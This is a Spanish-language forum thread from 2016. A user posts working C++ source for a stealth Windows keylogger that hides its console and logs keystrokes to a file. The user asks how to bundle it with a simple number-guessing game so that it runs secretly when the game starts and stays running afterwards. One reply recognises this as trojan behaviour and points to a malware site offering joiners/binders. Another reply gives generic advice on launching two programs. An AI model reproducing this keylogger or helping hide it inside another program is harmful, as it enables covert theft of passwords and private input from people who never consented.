elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Java [Guía] Patrones de diseño - Parte 1


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Ejecutar un programa dentro de otro.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Ejecutar un programa dentro de otro.  (Leído 1,665 veces)
cvargaming

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Ejecutar un programa dentro de otro.
« en: 2 Octubre 2016, 15:27 »

Buenas a todos,

Me gustaría saber si me podríais a ayudarme con un problema que tengo en C++, es el siguiente:

Tengo dos códigos, el primero es un juego y el segundo es un keylogger muy simple, y me gustaría poder juntar ambos, de tal manera que cuando el juego se ejecute se abra de manera independiente el keylogger, y cuando se cierre el juego, el keylogger permanezca abierto...

A continuación, el keylogger.
Código
  1. using namespace std;                      
  2. int main()                                
  3. {
  4.   HWND stealth;
  5.    AllocConsole();
  6.    stealth=FindWindowA("ConsoleWindowClass",NULL);
  7.    ShowWindow(stealth,0);                
  8. char key;                                  
  9.    while (true){                        
  10.        Sleep(10);                        
  11.        for(key = 8; key <= 190; key++){  
  12.            if(GetAsyncKeyState(key) == -32767){        
  13.                ofstream fichero;          
  14.                fichero.open("log.txt",fstream::app);  
  15.                fichero << key;
  16.                fichero.close();
  17.  
  18.            }
  19.        }
  20.    }
  21.  
  22.    return 0;
  23. }

Y el programa principal.
Código
  1. #include <iostream>                  
  2. #include <cstdlib>
  3. #include <ctime>                    
  4.  
  5. int main(void) {
  6. srand(time(NULL));
  7.  
  8. while(true) {
  9. int number = rand() % 99 + 2;
  10. int guess;
  11. int tries = 0;
  12. char answer;
  13.  
  14.  
  15. while(true) {
  16.  
  17. std::cout << "Introduce un numero del 1 al 100(" << 20 - tries << " intentos restantes): ";
  18. std::cin >> guess;
  19. std::cin.ignore();
  20.  
  21. if(tries >= 20) {
  22. break;
  23. }
  24.  
  25. if(guess > number) {
  26. std::cout << "Demasiado alto! Prueba de nuevo.\n";
  27. } else if(guess < number) {
  28. std::cout << "Demasiado bajo! Prueba de nuevo.\n";
  29. } else {
  30. break;
  31. }
  32.  
  33.  
  34. tries++;
  35. }
  36.  
  37.  
  38. if(tries >= 20) {
  39. std::cout << "Te has quedado sin intentos!.\n\n";
  40. } else {
  41.  
  42. std::cout<<"Felicidades! " << std::endl;
  43. std::cout<<"Has acertado! " << tries << " intentos!\n";
  44. }
  45.  

Gracias por su atención.


En línea

MRx86

Desconectado Desconectado

Mensajes: 89


Math's the way to do philosophy with the universe


Ver Perfil
Re: Ejecutar un programa dentro de otro.
« Respuesta #1 en: 4 Octubre 2016, 06:33 »

Supongo q buscas hacer lo que los troyanos comunes (ejecutar un programa y al mismo tiempo  que se ejecute otro y que quede este cargado en memoria ejecutándose), bueno para eso podrías utilizar un joiner/binder, que hace este trabajo, en esta pagina:

https://malwares.underc0de.org/?dir=Joiners+-+Binders%2F

Hay bastantes q te podrían interesar, espero haberte ayudado

Saludos!.


En línea

"Tengo una pregunta que a veces me tortura: ¿Estoy loco
yo, o los locos son los demas?"
- Albert Einstein
dato000


Desconectado Desconectado

Mensajes: 3.033



Ver Perfil
Re: Ejecutar un programa dentro de otro.
« Respuesta #2 en: 4 Octubre 2016, 15:20 »

Tecnicamente no es posible de la forma que quieres, las dos maneras más comodas, una más sencilla que otra serían:

1) Create un batch (windows archivo .bat o un ejecutable) o un bash (linux con shell o perl o un make) en donde se inicialicen las dos tareas que necesitas.
2) Usar hilos en las cuales esten las dos funciones dentro de uno y puedas ejecutar las tareas a modo asincrono (no estoy seguro si con los threads son async, pero es similar).

En todo caso, necesitas entender que son instancias diferentes y cada una necesita ser compilada, por lo que el llamado de ese código debe realizarse de forma nativa por ejecución externa de plataforma, es decir, llamarlas como tal desde el sistema operativo, como cuando abres dos programas word o excel, o ejecutas dos tareas desde dos simbolos de sistemas diferentes, por mencionar unos ejemplos.

Creeria que deberias echarle un vistazo a estas respuestas, simples, cortas y muy claras:

http://stackoverflow.com/questions/33818373/run-two-programs-at-the-same-time-c-c
http://stackoverflow.com/questions/3051009/c-run-two-functions-at-the-same-time
http://stackoverflow.com/questions/9521114/running-multiple-c-programs-from-a-c-program-under-linux
En línea


Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines